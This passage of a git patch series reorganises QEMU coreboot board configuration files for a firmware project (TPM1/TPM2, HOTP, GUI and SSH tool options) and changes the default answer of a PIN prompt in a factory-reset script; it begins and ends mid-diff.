+CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y -CONFIG_DROPBEAR=y +CONFIG_PCIUTILS=y +#Runtime tools to write to EC/MSR +CONFIG_IOTOOLS=y CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support #CONFIG_HOTPKEY=y - -#Uncomment only one of the following block -#Required for graphical gui-init (FBWhiptail) +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -# #text-based init (generic-init and gui-init) #CONFIG_NEWT=y #CONFIG_SLANG=y - +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y endif +#Runtime on-demand additional hardware support (modules.cpio) export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y -CONFIG_LINUX_USB=y -CONFIG_LINUX_E1000=y -#Uncomment only one BOOTSCRIPT: -#Whiptail-based init (text-based or FBWhiptail) + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init -# #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_BOOT_REQ_HASH=n @@ -65,9 +90,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" - -export CONFIG_TPM=y - export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index 6b714bf9f..36094e597 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -7,58 +7,83 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) #export CONFIG_RESTRICTED_BOOT=y #export CONFIG_BASIC=y +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + #Enable DEBUG output export CONFIG_DEBUG_OUTPUT=y export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=y -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config -CONFIG_LINUX_CONFIG=config/linux-qemu.config +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y + + +#Modules packed into tools.cpio ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else -CONFIG_KEXEC=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y -CONFIG_POPT=y -CONFIG_FLASHTOOLS=y -CONFIG_FLASHROM=y -CONFIG_PCIUTILS=y -CONFIG_UTIL_LINUX=y CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y -CONFIG_DROPBEAR=y +CONFIG_PCIUTILS=y +#Runtime tools to write to EC/MSR +CONFIG_IOTOOLS=y CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support CONFIG_HOTPKEY=y -export CONFIG_AUTO_BOOT_TIMEOUT=5 - -#Uncomment only one of the following block -#Required for graphical gui-init (FBWhiptail) +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -# #text-based init (generic-init and gui-init) #CONFIG_NEWT=y #CONFIG_SLANG=y - +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y endif +#Runtime on-demand additional hardware support (modules.cpio) export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y -CONFIG_LINUX_USB=y -CONFIG_LINUX_E1000=y -#Uncomment only one BOOTSCRIPT: -#Whiptail-based init (text-based or FBWhiptail) + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init -# #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_BOOT_REQ_HASH=n @@ -66,13 +91,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" - -#TPM2 requirements -export CONFIG_TPM2_TOOLS=y -export CONFIG_PRIMARY_KEY_TYPE=ecc -CONFIG_TPM2_TSS=y -CONFIG_OPENSSL=y - export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index 629eeffea..c382c0d70 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -6,6 +6,9 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) #export CONFIG_RESTRICTED_BOOT=y #export CONFIG_BASIC=y @@ -19,47 +22,67 @@ export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=y -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config -CONFIG_LINUX_CONFIG=config/linux-qemu.config +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y + + +#Modules packed into tools.cpio ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else -CONFIG_KEXEC=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y -CONFIG_POPT=y -CONFIG_FLASHTOOLS=y -CONFIG_FLASHROM=y -CONFIG_PCIUTILS=y -CONFIG_UTIL_LINUX=y CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y -CONFIG_DROPBEAR=y +CONFIG_PCIUTILS=y +#Runtime tools to write to EC/MSR +CONFIG_IOTOOLS=y CONFIG_MSRTOOLS=y -CONFIG_HOTPKEY=n - -#Uncomment only one of the following block -#Required for graphical gui-init (FBWhiptail) +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +#CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#FBWhiptail based (Graphical): CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y -# #text-based init (generic-init and gui-init) #CONFIG_NEWT=y #CONFIG_SLANG=y - +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y endif +#Runtime on-demand additional hardware support (modules.cpio) export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y -CONFIG_LINUX_USB=y -CONFIG_LINUX_E1000=y -#Uncomment only one BOOTSCRIPT: -#Whiptail-based init (text-based or FBWhiptail) + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init -# #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_BOOT_REQ_HASH=n @@ -67,13 +90,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" - -#TPM2 requirements -export CONFIG_TPM2_TOOLS=y -export CONFIG_PRIMARY_KEY_TYPE=ecc -CONFIG_TPM2_TSS=y -CONFIG_OPENSSL=y - export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index 024c7b921..38315372d 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -8,56 +8,83 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) #export CONFIG_RESTRICTED_BOOT=y #export CONFIG_BASIC=y +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + #Enable DEBUG output export CONFIG_DEBUG_OUTPUT=y export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config -CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Modules packed into tools.cpio ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else -CONFIG_KEXEC=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y -CONFIG_POPT=y -CONFIG_FLASHTOOLS=y -CONFIG_FLASHROM=y -CONFIG_PCIUTILS=y -CONFIG_UTIL_LINUX=y CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y -CONFIG_DROPBEAR=y +CONFIG_PCIUTILS=y +#Runtime tools to write to EC/MSR +CONFIG_IOTOOLS=y CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support CONFIG_HOTPKEY=y -export CONFIG_AUTO_BOOT_TIMEOUT=5 - -#Uncomment only one of the following block -#Required for graphical gui-init (FBWhiptail) +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#FBWhiptail based (Graphical): #CONFIG_CAIRO=y #CONFIG_FBWHIPTAIL=y -# #text-based init (generic-init and gui-init) CONFIG_NEWT=y CONFIG_SLANG=y - +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y endif +#Runtime on-demand additional hardware support (modules.cpio) export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y -CONFIG_LINUX_USB=y -CONFIG_LINUX_E1000=y -#Uncomment only one BOOTSCRIPT: -#Whiptail-based init (text-based or FBWhiptail) + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init -# #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_BOOT_REQ_HASH=n @@ -65,9 +92,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" - -export CONFIG_TPM=y - export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index b6f76de58..610667161 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -6,7 +6,10 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 -#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing)) +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) #export CONFIG_RESTRICTED_BOOT=y #export CONFIG_BASIC=y @@ -16,48 +19,70 @@ export CONFIG_LINUX_VERSION=5.10.5 #Enable DEBUG output export CONFIG_DEBUG_OUTPUT=y export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config -CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Modules packed into tools.cpio ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else -CONFIG_KEXEC=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y -CONFIG_POPT=y -CONFIG_FLASHTOOLS=y -CONFIG_FLASHROM=y -CONFIG_PCIUTILS=y -CONFIG_UTIL_LINUX=y CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y -CONFIG_DROPBEAR=y +CONFIG_PCIUTILS=y +#Runtime tools to write to EC/MSR +CONFIG_IOTOOLS=y CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support #CONFIG_HOTPKEY=y - -#Uncomment only one of the following block -#Required for graphical gui-init (FBWhiptail) +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#FBWhiptail based (Graphical): #CONFIG_CAIRO=y #CONFIG_FBWHIPTAIL=y -# #text-based init (generic-init and gui-init) CONFIG_NEWT=y CONFIG_SLANG=y - +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y endif +#Runtime on-demand additional hardware support (modules.cpio) export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y -CONFIG_LINUX_USB=y -CONFIG_LINUX_E1000=y -#Uncomment only one BOOTSCRIPT: -#Whiptail-based init (text-based or FBWhiptail) + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init -# #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_BOOT_REQ_HASH=n @@ -65,9 +90,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" - -export CONFIG_TPM=y - export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index 157f6ce15..e5b2bddfd 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -7,58 +7,83 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) #export CONFIG_RESTRICTED_BOOT=y #export CONFIG_BASIC=y +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + #Enable DEBUG output export CONFIG_DEBUG_OUTPUT=y export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=y -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config -CONFIG_LINUX_CONFIG=config/linux-qemu.config +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y + + +#Modules packed into tools.cpio ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else -CONFIG_KEXEC=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y -CONFIG_POPT=y -CONFIG_FLASHTOOLS=y -CONFIG_FLASHROM=y -CONFIG_PCIUTILS=y -CONFIG_UTIL_LINUX=y CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y -CONFIG_DROPBEAR=y +CONFIG_PCIUTILS=y +#Runtime tools to write to EC/MSR +CONFIG_IOTOOLS=y CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support CONFIG_HOTPKEY=y -export CONFIG_AUTO_BOOT_TIMEOUT=5 - -#Uncomment only one of the following block -#Required for graphical gui-init (FBWhiptail) +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#FBWhiptail based (Graphical): #CONFIG_CAIRO=y #CONFIG_FBWHIPTAIL=y -# #text-based init (generic-init and gui-init) CONFIG_NEWT=y CONFIG_SLANG=y - +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y endif +#Runtime on-demand additional hardware support (modules.cpio) export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y -CONFIG_LINUX_USB=y -CONFIG_LINUX_E1000=y -#Uncomment only one BOOTSCRIPT: -#Whiptail-based init (text-based or FBWhiptail) + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init -# #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_BOOT_REQ_HASH=n @@ -66,13 +91,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" - -#TPM2 requirements -export CONFIG_TPM2_TOOLS=y -export CONFIG_PRIMARY_KEY_TYPE=ecc -CONFIG_TPM2_TSS=y -CONFIG_OPENSSL=y - export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 684d508e5..076f01698 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -6,6 +6,9 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=4.22.01 export CONFIG_LINUX_VERSION=5.10.5 +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) #export CONFIG_RESTRICTED_BOOT=y #export CONFIG_BASIC=y @@ -19,47 +22,67 @@ export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=y -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config -CONFIG_LINUX_CONFIG=config/linux-qemu.config +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y + + +#Modules packed into tools.cpio ifeq "$(CONFIG_UROOT)" "y" CONFIG_BUSYBOX=n else -CONFIG_KEXEC=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y -CONFIG_POPT=y -CONFIG_FLASHTOOLS=y -CONFIG_FLASHROM=y -CONFIG_PCIUTILS=y -CONFIG_UTIL_LINUX=y CONFIG_CRYPTSETUP2=y +CONFIG_FLASHROM=y +CONFIG_FLASHTOOLS=y CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y -CONFIG_DROPBEAR=y +CONFIG_PCIUTILS=y +#Runtime tools to write to EC/MSR +CONFIG_IOTOOLS=y CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support #CONFIG_HOTPKEY=y - -#Uncomment only one of the following block -#Required for graphical gui-init (FBWhiptail) +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#FBWhiptail based (Graphical): #CONFIG_CAIRO=y #CONFIG_FBWHIPTAIL=y -# #text-based init (generic-init and gui-init) CONFIG_NEWT=y CONFIG_SLANG=y - +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y endif +#Runtime on-demand additional hardware support (modules.cpio) export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y -CONFIG_LINUX_USB=y -CONFIG_LINUX_E1000=y -#Uncomment only one BOOTSCRIPT: -#Whiptail-based init (text-based or FBWhiptail) + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init -# #text-based original init: #export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_BOOT_REQ_HASH=n @@ -67,13 +90,6 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" - -#TPM2 requirements -export CONFIG_TPM2_TOOLS=y -export CONFIG_PRIMARY_KEY_TYPE=ecc -CONFIG_TPM2_TSS=y -CONFIG_OPENSSL=y - export CONFIG_BOOT_DEV="/dev/vda1" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2" From ba20d98bdd8c39ad506ef4a2a3e1f51bc84db9f8 Mon Sep 17 00:00:00 2001 From: Christian Foerster Date: Sun, 21 Apr 2024 18:31:43 +0200 Subject: [PATCH 052/619] UX improvements PIN questions Signed-off-by: Christian Foerster --- initrd/bin/oem-factory-reset | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 6b597fc08..308483960 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -989,11 +989,11 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then luks_new_Disk_Recovery_Key_passphrase=${CUSTOM_SINGLE_PASS} fi else - echo -e -n "Would you like to set distinct PINs/passwords to configure previously stated security components? [y/N]: " + echo -e -n "Would you like to set distinct PINs/passwords to configure previously stated security components? [Y/n]: " read -n 1 prompt_output echo - if [ "$prompt_output" == "y" \ - -o "$prompt_output" == "Y" ]; then + if [ "$prompt_output" != "n" \ + -a "$prompt_output" != "N" ]; then echo -e "\nThey must be each at least 8 characters in length.\n" echo if [ "$CONFIG_TPM" = "y" ]; then @@ -1011,7 +1011,7 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then # That is, if keys were NOT generated in memory (on smartcard only) or # if keys were generated in memory but are to be moved from local keyring to smartcard if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then - while [[ ${#USER_PIN} -lt 8 ]] || [[ ${#USER_PIN} -gt 